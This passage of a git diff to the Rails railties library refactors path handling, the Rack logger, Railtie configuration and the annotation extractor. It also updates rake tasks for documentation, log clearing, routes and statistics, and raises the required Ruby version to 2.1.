+ all_paths.find_all(&block).flat_map { |path|
+ paths = path.existent
+ paths - path.children.flat_map { |p| yield(p) ? [] : p.existent }
+ }.uniq
end
end
@@ -131,11 +124,11 @@ module Rails
end
def children
- keys = @root.keys.select { |k| k.include?(@current) }
- keys.delete(@current)
+ keys = @root.keys.find_all { |k|
+ k.start_with?(@current) && k != @current
+ }
@root.values_at(*keys.sort)
end
- deprecate :children
def first
expanded.first
@@ -174,8 +167,8 @@ module Rails
@paths.concat paths
end
- def unshift(path)
- @paths.unshift path
+ def unshift(*paths)
+ @paths.unshift(*paths)
end
def to_ary
@@ -191,9 +184,9 @@ module Rails
path = File.expand_path(p, @root.path)
if @glob && File.directory?(path)
- result.concat Dir.chdir(path) {
- Dir.glob(@glob).map { |file| File.join path, file }.sort
- }
+ Dir.chdir(path) do
+ result.concat(Dir.glob(@glob).map { |file| File.join path, file }.sort)
+ end
else
result << path
end
@@ -205,17 +198,13 @@ module Rails
# Returns all expanded paths but only if they exist in the filesystem.
def existent
- expanded.select { |f| File.exists?(f) }
+ expanded.select { |f| File.exist?(f) }
end
def existent_directories
expanded.select { |d| File.directory?(d) }
end
- def existent_base_paths
- map { |p| File.expand_path(p, @root.path) }.select{ |f| File.exist? f }
- end
-
alias to_a expanded
end
end
diff --git a/railties/lib/rails/performance_test_help.rb b/railties/lib/rails/performance_test_help.rb
deleted file mode 100644
index b1285efde2..0000000000
--- a/railties/lib/rails/performance_test_help.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::Logger::INFO
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d1ee96f7fd..886f0e52e1 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,6 +1,6 @@
module Rails
module Rack
- autoload :Debugger, "rails/rack/debugger"
+ autoload :Debugger, "rails/rack/debugger" if RUBY_VERSION < '2.0.0'
autoload :Logger, "rails/rack/logger"
autoload :LogTailer, "rails/rack/log_tailer"
end
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
index 902361ce77..f7b77bcb3b 100644
--- a/railties/lib/rails/rack/debugger.rb
+++ b/railties/lib/rails/rack/debugger.rb
@@ -12,8 +12,8 @@ module Rails
::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
puts "=> Debugger enabled"
rescue LoadError
- puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
- exit
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
+ exit(1)
end
def call(env)
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
index 18f22e8089..46517713c9 100644
--- a/railties/lib/rails/rack/log_tailer.rb
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -1,13 +1,17 @@
+require 'active_support/deprecation'
+
module Rails
module Rack
class LogTailer
def initialize(app, log = nil)
+ ActiveSupport::Deprecation.warn('LogTailer is deprecated and will be removed on Rails 5.')
+
@app = app
path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
@cursor = @file = nil
- if ::File.exists?(path)
+ if ::File.exist?(path)
@cursor = ::File.size(path)
@file = ::File.open(path, 'r')
end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 7be2333981..9962e6d943 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -1,19 +1,23 @@
require 'active_support/core_ext/time/conversions'
require 'active_support/core_ext/object/blank'
+require 'active_support/log_subscriber'
+require 'action_dispatch/http/request'
+require 'rack/body_proxy'
module Rails
module Rack
# Sets log tags, logs the request, calls the app, and flushes the logs.
class Logger < ActiveSupport::LogSubscriber
def initialize(app, taggers = nil)
- @app, @taggers = app, taggers || []
+ @app = app
+ @taggers = taggers || []
end
def call(env)
request = ActionDispatch::Request.new(env)
- if Rails.logger.respond_to?(:tagged)
- Rails.logger.tagged(compute_tags(request)) { call_app(request, env) }
+ if logger.respond_to?(:tagged)
+ logger.tagged(compute_tags(request)) { call_app(request, env) }
else
call_app(request, env)
end
@@ -23,13 +27,20 @@ module Rails
def call_app(request, env)
# Put some space between requests in development logs.
- if Rails.env.development?
- Rails.logger.debug ''
- Rails.logger.debug ''
+ if development?
+ logger.debug ''
+ logger.debug ''
end
- Rails.logger.info started_request_message(request)
- @app.call(env)
+ instrumenter = ActiveSupport::Notifications.instrumenter
+ instrumenter.start 'request.action_dispatch', request: request
+ logger.info { started_request_message(request) }
+ resp = @app.call(env)
+ resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
+ resp
+ rescue Exception
+ finish(request)
+ raise
ensure
ActiveSupport::LogSubscriber.flush_all!
end
@@ -55,6 +66,21 @@ module Rails
end
end
end
+
+ private
+
+ def finish(request)
+ instrumenter = ActiveSupport::Notifications.instrumenter
+ instrumenter.finish 'request.action_dispatch', request: request
+ end
+
+ def development?
+ Rails.env.development?
+ end
+
+ def logger
+ Rails.logger
+ end
end
end
end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 5b454e7f20..2b33beaa2b 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -22,7 +22,7 @@ module Rails
#
# * creating initializers
# * configuring a Rails framework for the application, like setting a generator
- # * +adding config.*+ keys to the environment
+ # * adding <tt>config.*</tt> keys to the environment
# * setting up a subscriber with ActiveSupport::Notifications
# * adding rake tasks
#
@@ -63,8 +63,8 @@ module Rails
# end
# end
#
- # Finally, you can also pass :before and :after as option to initializer, in case
- # you want to couple it with a specific step in the initialization process.
+ # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer,
+ # in case you want to couple it with a specific step in the initialization process.
#
# == Configuration
#
@@ -112,7 +112,6 @@ module Rails
# Be sure to look at the documentation of those specific classes for more information.
#
class Railtie
- autoload :Configurable, "rails/railtie/configurable"
autoload :Configuration, "rails/railtie/configuration"
include Initializable
@@ -121,6 +120,7 @@ module Rails
class << self
private :new
+ delegate :config, to: :instance
def subclasses
@subclasses ||= []
@@ -128,7 +128,6 @@ module Rails
def inherited(base)
unless base.abstract_railtie?
- base.send(:include, Railtie::Configurable)
subclasses << base
end
end
@@ -166,13 +165,50 @@ module Rails
@railtie_name ||= generate_railtie_name(self.name)
end
+ # Since Rails::Railtie cannot be instantiated, any methods that call
+ # +instance+ are intended to be called only on subclasses of a Railtie.
+ def instance
+ @instance ||= new
+ end
+
+ def respond_to_missing?(*args)
+ instance.respond_to?(*args) || super
+ end
+
+ # Allows you to configure the railtie. This is the same method seen in
+ # Railtie::Configurable, but this module is no longer required for all
+ # subclasses of Railtie so we provide the class method here.
+ def configure(&block)
+ instance.configure(&block)
+ end
+
protected
- def generate_railtie_name(class_or_module)
- ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
+ def generate_railtie_name(string)
+ ActiveSupport::Inflector.underscore(string).tr("/", "_")
+ end
+
+ # If the class method does not have a method, then send the method call
+ # to the Railtie instance.
+ def method_missing(name, *args, &block)
+ if instance.respond_to?(name)
+ instance.public_send(name, *args, &block)
+ else
+ super
+ end
end
end
- delegate :railtie_name, to: "self.class"
+ delegate :railtie_name, to: :class
+
+ def initialize
+ if self.class.abstract_railtie?
+ raise "#{self.class.name} is abstract, you cannot instantiate it directly."
+ end
+ end
+
+ def configure(&block)
+ instance_eval(&block)
+ end
def config
@config ||= Railtie::Configuration.new
@@ -185,26 +221,28 @@ module Rails
protected
def run_console_blocks(app) #:nodoc:
- self.class.console.each { |block| block.call(app) }
+ each_registered_block(:console) { |block| block.call(app) }
end
def run_generators_blocks(app) #:nodoc:
- self.class.generators.each { |block| block.call(app) }
+ each_registered_block(:generators) { |block| block.call(app) }
end
def run_runner_blocks(app) #:nodoc:
- self.class.runner.each { |block| block.call(app) }
+ each_registered_block(:runner) { |block| block.call(app) }
end
def run_tasks_blocks(app) #:nodoc:
extend Rake::DSL
- self.class.rake_tasks.each { |block| instance_exec(app, &block) }
+ each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
+ end
- # Load also tasks from all superclasses
- klass = self.class.superclass
+ private
- while klass.respond_to?(:rake_tasks)
- klass.rake_tasks.each { |t| instance_exec(app, &t) }
+ def each_registered_block(type, &block)
+ klass = self.class
+ while klass.respond_to?(type)
+ klass.public_send(type).each(&block)
klass = klass.superclass
end
end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index 0cbbf04da2..eb3b2d8ef4 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -80,7 +80,7 @@ module Rails
to_prepare_blocks << blk if blk
end
- def respond_to?(name)
+ def respond_to?(name, include_private = false)
super || @@options.key?(name.to_sym)
end
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
index 4536fedaa3..edfe5cb786 100644
--- a/railties/lib/rails/ruby_version_check.rb
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -1,13 +1,13 @@
-if RUBY_VERSION < '1.9.3'
+if RUBY_VERSION < '2.1.0'
desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
abort <<-end_message
- Rails 4 requires Ruby 1.9.3+.
+ Rails 5 requires to run on Ruby 2.1 or newer.
You're running
#{desc}
- Please upgrade to continue.
+ Please upgrade to Ruby 2.1.0 or newer to continue.
end_message
end
diff --git a/railties/lib/rails/rubyprof_ext.rb b/railties/lib/rails/rubyprof_ext.rb
deleted file mode 100644
index 017eba3a76..0000000000
--- a/railties/lib/rails/rubyprof_ext.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'prof'
-
-module Prof #:nodoc:
- # Adapted from Shugo Maeda's unprof.rb
- def self.print_profile(results, io = $stderr)
- total = results.detect { |i|
- i.method_class.nil? && i.method_id == :"#toplevel"
- }.total_time
- total = 0.001 if total < 0.001
-
- io.puts " %% cumulative self self total"
- io.puts " time seconds seconds calls ms/call ms/call name"
-
- sum = 0.0
- results.each do |r|
- sum += r.self_time
-
- name = if r.method_class.nil?
- r.method_id.to_s
- elsif r.method_class.is_a?(Class)
- "#{r.method_class}##{r.method_id}"
- else
- "#{r.method_class}.#{r.method_id}"
- end
- io.printf "%6.2f %8.3f %8.3f %8d %8.2f %8.2f %s\n",
- r.self_time / total * 100,
- sum,
- r.self_time,
- r.count,
- r.self_time * 1000 / r.count,
- r.total_time * 1000 / r.count,
- name
- end
- end
-end
diff --git a/railties/lib/rails/script_rails_loader.rb b/railties/lib/rails/script_rails_loader.rb
deleted file mode 100644
index 7054089614..0000000000
--- a/railties/lib/rails/script_rails_loader.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'pathname'
-
-module Rails
- module ScriptRailsLoader
- RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
- SCRIPT_RAILS = File.join('script', 'rails')
-
- def self.exec_script_rails!
- cwd = Dir.pwd
- return unless in_rails_application? || in_rails_application_subdirectory?
- exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
- Dir.chdir("..") do
- # Recurse in a chdir block: if the search fails we want to be sure
- # the application is generated in the original working directory.
- exec_script_rails! unless cwd == Dir.pwd
- end
- rescue SystemCallError
- # could not chdir, no problem just return
- end
-
- def self.in_rails_application?
- File.exists?(SCRIPT_RAILS)
- end
-
- def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
- File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
- end
- end
-end \ No newline at end of file
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index ac806e8006..9b058a1848 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -15,9 +15,23 @@
class SourceAnnotationExtractor
class Annotation < Struct.new(:line, :tag, :text)
def self.directories
- @@directories ||= %w(app config db lib script test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
+ @@directories ||= %w(app config db lib test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
end
+ def self.extensions
+ @@extensions ||= {}
+ end
+
+ # Registers new Annotations File Extensions
+ # SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+ def self.register_extensions(*exts, &block)
+ extensions[/\.(#{exts.join("|")})$/] = block
+ end
+
+ register_extensions("builder", "rb", "rake", "yml", "yaml", "ruby") { |tag| /#\s*(#{tag}):?\s*(.*)$/ }
+ register_extensions("css", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+ register_extensions("erb") { |tag| /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/ }
+
# Returns a representation of the annotation that looks like this:
#
# [126] [TODO] This algorithm is simple and clearly correct, make it faster.
@@ -31,16 +45,25 @@ class SourceAnnotationExtractor
end
end
- # Prints all annotations with tag +tag+ under the root directories +app+, +config+, +lib+,
- # +script+, and +test+ (recursively). Filenames with extension
- # +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+, +.scss+, +.js+,
- # +.coffee+, and +.rake+ are taken into account. The +options+ hash is passed to each
- # annotation's +to_s+.
+ # Prints all annotations with tag +tag+ under the root directories +app+,
+ # +config+, +db+, +lib+, and +test+ (recursively).
+ #
+ # Additional directories may be added using a comma-delimited list set using
+ # <tt>ENV['SOURCE_ANNOTATION_DIRECTORIES']</tt>.
+ #
+ # Directories may also be explicitly set using the <tt>:dirs</tt> key in +options+.
+ #
+ # SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
+ #
+ # If +options+ has a <tt>:tag</tt> flag, it will be passed to each annotation's +to_s+.
+ #
+ # See <tt>#find_in</tt> for a list of file extensions that will be taken into account.
#
# This class method is the single entry point for the rake tasks.
def self.enumerate(tag, options={})
extractor = new(tag)
- extractor.display(extractor.find, options)
+ dirs = options.delete(:dirs) || Annotation.directories
+ extractor.display(extractor.find(dirs), options)
end
attr_reader :tag
@@ -51,15 +74,14 @@ class SourceAnnotationExtractor
# Returns a hash that maps filenames under +dirs+ (recursively) to arrays
# with their annotations.
- def find(dirs = Annotation.directories)
+ def find(dirs)
dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
end
# Returns a hash that maps filenames under +dir+ (recursively) to arrays
# with their annotations. Only files with annotations are included. Files
- # with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
- # +.scss+, +.js+, +.coffee+, and +.rake+
- # are taken into account.
+ # with extension +.builder+, +.rb+, +.rake+, +.yml+, +.yaml+, +.ruby+,
+ # +.css+, +.js+ and +.erb+ are taken into account.
def find_in(dir)
results = {}
@@ -68,16 +90,15 @@ class SourceAnnotationExtractor
if File.directory?(item)
results.update(find_in(item))
- elsif item =~ /\.(builder|rb|coffee|rake)$/
- results.update(extract_annotations_from(item, /#\s*(#{tag}):?\s*(.*)$/))
- elsif item =~ /\.(css|scss|js)$/
- results.update(extract_annotations_from(item, /\/\/\s*(#{tag}):?\s*(.*)$/))
- elsif item =~ /\.erb$/
- results.update(extract_annotations_from(item, /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/))
- elsif item =~ /\.haml$/
- results.update(extract_annotations_from(item, /-\s*#\s*(#{tag}):?\s*(.*)$/))
- elsif item =~ /\.slim$/
- results.update(extract_annotations_from(item, /\/\s*\s*(#{tag}):?\s*(.*)$/))
+ else
+ extension = Annotation.extensions.detect do |regexp, _block|
+ regexp.match(item)
+ end
+
+ if extension
+ pattern = extension.last.call(tag)
+ results.update(extract_annotations_from(item, pattern)) if pattern
+ end
end
end
@@ -100,7 +121,7 @@ class SourceAnnotationExtractor
# Prints the mapping from filenames to annotations in +results+ ordered by filename.
# The +options+ hash is passed to each annotation's +to_s+.
def display(results, options={})
- options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
+ options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
results.keys.sort.each do |file|
puts "#{file}:"
results[file].each do |note|
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
index 9807000578..2f82d1285d 100644
--- a/railties/lib/rails/tasks.rb
+++ b/railties/lib/rails/tasks.rb
@@ -1,6 +1,6 @@
-$VERBOSE = nil
+require 'rake'
-# Load Rails rakefile extensions
+# Load Rails Rakefile extensions
%w(
annotations
documentation
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index 2851ca4189..8544890553 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -1,105 +1,70 @@
-require 'rdoc/task'
-
-# Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
-class RDocTaskWithoutDescriptions < RDoc::Task
- include ::Rake::DSL
-
- def define
- task rdoc_task_name
-
- task rerdoc_task_name => [clobber_task_name, rdoc_task_name]
-
- task clobber_task_name do
- rm_r rdoc_dir rescue nil
- end
-
- task :clobber => [clobber_task_name]
+begin
+ require 'rdoc/task'
+rescue LoadError
+ # Rubinius installs RDoc as a gem, and for this interpreter "rdoc/task" is
+ # available only if the application bundle includes "rdoc" (normally as a
+ # dependency of the "sdoc" gem.)
+ #
+ # If RDoc is not available it is fine that we do not generate the tasks that
+ # depend on it. Just be robust to this gotcha and go on.
+else
+ require 'rails/api/task'
+
+ # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
+ class RDocTaskWithoutDescriptions < RDoc::Task
+ include ::Rake::DSL
+
+ def define
+ task rdoc_task_name
+
+ task rerdoc_task_name => [clobber_task_name, rdoc_task_name]
+
+ task clobber_task_name do
+ rm_r rdoc_dir rescue nil
+ end
- directory @rdoc_dir
- task rdoc_task_name => [rdoc_target]
- file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
- rm_r @rdoc_dir rescue nil
- @before_running_rdoc.call if @before_running_rdoc
- args = option_list + @rdoc_files
- if @external
- argstring = args.join(' ')
- sh %{ruby -Ivendor vendor/rd #{argstring}}
- else
- require 'rdoc/rdoc'
- RDoc::RDoc.new.document(args)
+ task :clobber => [clobber_task_name]
+
+ directory @rdoc_dir
+ task rdoc_task_name => [rdoc_target]
+ file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
+ rm_r @rdoc_dir rescue nil
+ @before_running_rdoc.call if @before_running_rdoc
+ args = option_list + @rdoc_files
+ if @external
+ argstring = args.join(' ')
+ sh %{ruby -Ivendor vendor/rd #{argstring}}
+ else
+ require 'rdoc/rdoc'
+ RDoc::RDoc.new.document(args)
+ end
end
+ self
end
- self
end
-end
-namespace :doc do
- def gem_path(gem_name)
- path = $LOAD_PATH.grep(/#{gem_name}[\w.-]*\/lib$/).first
- yield File.dirname(path) if path
+ namespace :doc do
+ RDocTaskWithoutDescriptions.new("app") { |rdoc|
+ rdoc.rdoc_dir = 'doc/app'
+ rdoc.template = ENV['template'] if ENV['template']
+ rdoc.title = ENV['title'] || "Rails Application Documentation"
+ rdoc.options << '--line-numbers'
+ rdoc.options << '--charset' << 'utf-8'
+ rdoc.rdoc_files.include('README.rdoc')
+ rdoc.rdoc_files.include('app/**/*.rb')
+ rdoc.rdoc_files.include('lib/**/*.rb')
+ }
+ Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
+
+ # desc 'Generate documentation for the Rails framework.'
+ Rails::API::AppTask.new('rails')
end
+end
- RDocTaskWithoutDescriptions.new("app") { |rdoc|
- rdoc.rdoc_dir = 'doc/app'
- rdoc.template = ENV['template'] if ENV['template']
- rdoc.title = ENV['title'] || "Rails Application Documentation"
- rdoc.options << '--line-numbers'
- rdoc.options << '--charset' << 'utf-8'
- rdoc.rdoc_files.include('doc/README_FOR_APP')
- rdoc.rdoc_files.include('app/**/*.rb')
- rdoc.rdoc_files.include('lib/**/*.rb')
- }
- Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
-
- # desc 'Generate documentation for the Rails framework.'
- RDocTaskWithoutDescriptions.new("rails") { |rdoc|
- rdoc.rdoc_dir = 'doc/api'
- rdoc.template = "#{ENV['template']}.rb" if ENV['template']
- rdoc.title = "Rails Framework Documentation"
- rdoc.options << '--line-numbers'
- rdoc.rdoc_files.include('README.rdoc')
-
- gem_path('actionmailer') do |actionmailer|
- %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_mailer/base.rb).each do |file|
- rdoc.rdoc_files.include("#{actionmailer}/#{file}")
- end
- end
-
- gem_path('actionpack') do |actionpack|
- %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file|
- rdoc.rdoc_files.include("#{actionpack}/#{file}")
- end
- end
-
- gem_path('activemodel') do |activemodel|
- %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/active_model/**/*.rb).each do |file|
- rdoc.rdoc_files.include("#{activemodel}/#{file}")
- end
- end
-
- gem_path('activerecord') do |activerecord|
- %w(README.rdoc CHANGELOG.md lib/active_record/**/*.rb).each do |file|
- rdoc.rdoc_files.include("#{activerecord}/#{file}")
- end
- end
-
- gem_path('activesupport') do |activesupport|
- %w(README.rdoc CHANGELOG.md lib/active_support/**/*.rb).each do |file|
- rdoc.rdoc_files.include("#{activesupport}/#{file}")
- end
- end
-
- gem_path('railties') do |railties|
- %w(README.rdoc CHANGELOG.md lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
- rdoc.rdoc_files.include("#{railties}/#{file}")
- end
- end
- }
-
- # desc "Generate Rails Guides"
+namespace :doc do
task :guides do
- # FIXME: Reaching outside lib directory is a bad idea
- require File.expand_path('../../../../guides/rails_guides', __FILE__)
+ rails_gem_dir = Gem::Specification.find_by_name("rails").gem_dir
+ require File.expand_path(File.join(rails_gem_dir, "/guides/rails_guides"))
RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
end
end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index 70370be3f5..16ad1bfc84 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -26,7 +26,7 @@ namespace :db do
desc "Display status of migrations"
app_task "migrate:status"
- desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)'
app_task "create"
app_task "create:all"
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index 50499304cb..a1c805f8aa 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -1,9 +1,9 @@
namespace :rails do
- desc "Update configs and some other initially generated files (or use just update:configs, update:scripts, or update:application_controller)"
- task update: [ "update:configs", "update:scripts", "update:application_controller" ]
+ desc "Update configs and some other initially generated files (or use just update:configs or update:bin)"
+ task update: [ "update:configs", "update:bin" ]
desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
- task :template do
+ task template: :environment do
template = ENV["LOCATION"]
raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
@@ -46,8 +46,8 @@ namespace :rails do
require 'rails/generators/rails/app/app_generator'
gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
destination_root: Rails.root
- File.exists?(Rails.root.join("config", "application.rb")) ?
- gen.send(:app_const) : gen.send(:valid_app_const?)
+ File.exist?(Rails.root.join("config", "application.rb")) ?
+ gen.send(:app_const) : gen.send(:valid_const?)
gen
end
end
@@ -55,22 +55,12 @@ namespace :rails do
# desc "Update config/boot.rb from your current rails install"
task :configs do
invoke_from_app_generator :create_boot_file
- invoke_from_app_generator :create_config_files
+ invoke_from_app_generator :update_config_files
end
- # desc "Adds new scripts to the application script/ directory"
- task :scripts do
- invoke_from_app_generator :create_script_files
- end
-
- # desc "Rename application.rb to application_controller.rb"
- task :application_controller do
- old_style = Rails.root + '/app/controllers/application.rb'
- new_style = Rails.root + '/app/controllers/application_controller.rb'
- if File.exists?(old_style) && !File.exists?(new_style)
- FileUtils.mv(old_style, new_style)
- puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
- end
+ # desc "Adds new executables to the application bin/ directory"
+ task :bin do
+ invoke_from_app_generator :create_bin_files
end
end
end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
index 6e1334692e..877f175ef3 100644
--- a/railties/lib/rails/tasks/log.rake
+++ b/railties/lib/rails/tasks/log.rake
@@ -1,9 +1,23 @@
namespace :log do
- desc "Truncates all *.log files in log/ to zero bytes"
+ desc "Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)"
task :clear do
- FileList["log/*.log"].each do |log_file|
- f = File.open(log_file, "w")
- f.close
+ log_files.each do |file|
+ clear_log_file(file)
end
end
+
+ def log_files
+ if ENV['LOGS']
+ ENV['LOGS'].split(',')
+ .map { |file| "log/#{file.strip}.log" }
+ .select { |file| File.exist?(file) }
+ else
+ FileList["log/*.log"]
+ end
+ end
+
+ def clear_log_file(file)
+ f = File.open(file, "w")
+ f.close
+ end
end
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
index 676b475640..1815c2fdc7 100644
--- a/railties/lib/rails/tasks/routes.rake
+++ b/railties/lib/rails/tasks/routes.rake
@@ -2,6 +2,6 @@ desc 'Print out all defined routes in match order, with names. Target specific c
task routes: :environment do
all_routes = Rails.application.routes.routes
require 'action_dispatch/routing/inspector'
- inspector = ActionDispatch::Routing::RoutesInspector.new
- puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n"
+ inspector = ActionDispatch::Routing::RoutesInspector.new(all_routes)
+ puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, ENV['CONTROLLER'])
end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
index c1674c72ad..4f09ded31d 100644
--- a/railties/lib/rails/tasks/statistics.rake
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -1,6 +1,10 @@
+# while having global constant is not good,
+# many 3rd party tools depend on it, like rspec-rails, cucumber-rails, etc
+# so if will be removed - deprecation warning is needed
STATS_DIRECTORIES = [
%w(Controllers app/controllers),
%w(Helpers app/helpers),
+ %w(Jobs app/jobs),
%w(Models app/models),
%w(Mailers app/mailers),
%w(Javascripts app/assets/javascripts),
@@ -10,12 +14,15 @@ STATS_DIRECTORIES = [
%w(Helper\ tests test/helpers),
%w(Model\ tests test/models),
%w(Mailer\ tests test/mailers),
+ %w(Job\ tests test/jobs),
%w(Integration\ tests test/integration),
%w(Functional\ tests\ (old) test/functional),
%w(Unit\ tests \ (old) test/unit)
-].collect { |name, dir| [ name, "#{Rails.root}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
+].collect do |name, dir|
+ [ name, "#{File.dirname(Rake.application.rakefile_location)}/#{dir}" ]
+end.select { |name, dir| File.directory?(dir) }
-desc "Report code statistics (KLOCs, etc) from the application"
+desc "Report code statistics (KLOCs, etc) from the application or engine"
task :stats do
require 'rails/code_statistics'
CodeStatistics.new(*STATS_DIRECTORIES).to_s
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 53276d3e7c..5aecaa712a 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -2,7 +2,7 @@
<html lang="en">
<head>
<meta charset="utf-8" />
- <title>Routes</title>
+ <title><%= @page_title %></title>
<style>
body { background-color: #fff; color: #333; }
@@ -22,10 +22,14 @@
a { color: #000; }
a:visited { color: #666; }
a:hover { color: #fff; background-color:#000; }
+
+ h2 { padding-left: 10px; }
+
+ <%= yield :style %>
</style>
</head>
<body>
-<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+
<%= yield %>
</body>
diff --git a/railties/lib/rails/templates/rails/info/routes.html.erb b/railties/lib/rails/templates/rails/info/routes.html.erb
index 890f6f5b03..2d8a190986 100644
--- a/railties/lib/rails/templates/rails/info/routes.html.erb
+++ b/railties/lib/rails/templates/rails/info/routes.html.erb
@@ -6,4 +6,4 @@
Routes match in priority from top to bottom
</p>
-<p><pre><%= @info %></pre></p> \ No newline at end of file
+<%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000000..0b08a01896
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,105 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+ html, body, iframe {
+ height: 100%;
+ }
+
+ body {
+ margin: 0;
+ }
+
+ header {
+ width: 100%;
+ padding: 10px 0 0 0;
+ margin: 0;
+ background: white;
+ font: 12px "Lucida Grande", sans-serif;
+ border-bottom: 1px solid #dedede;
+ overflow: hidden;
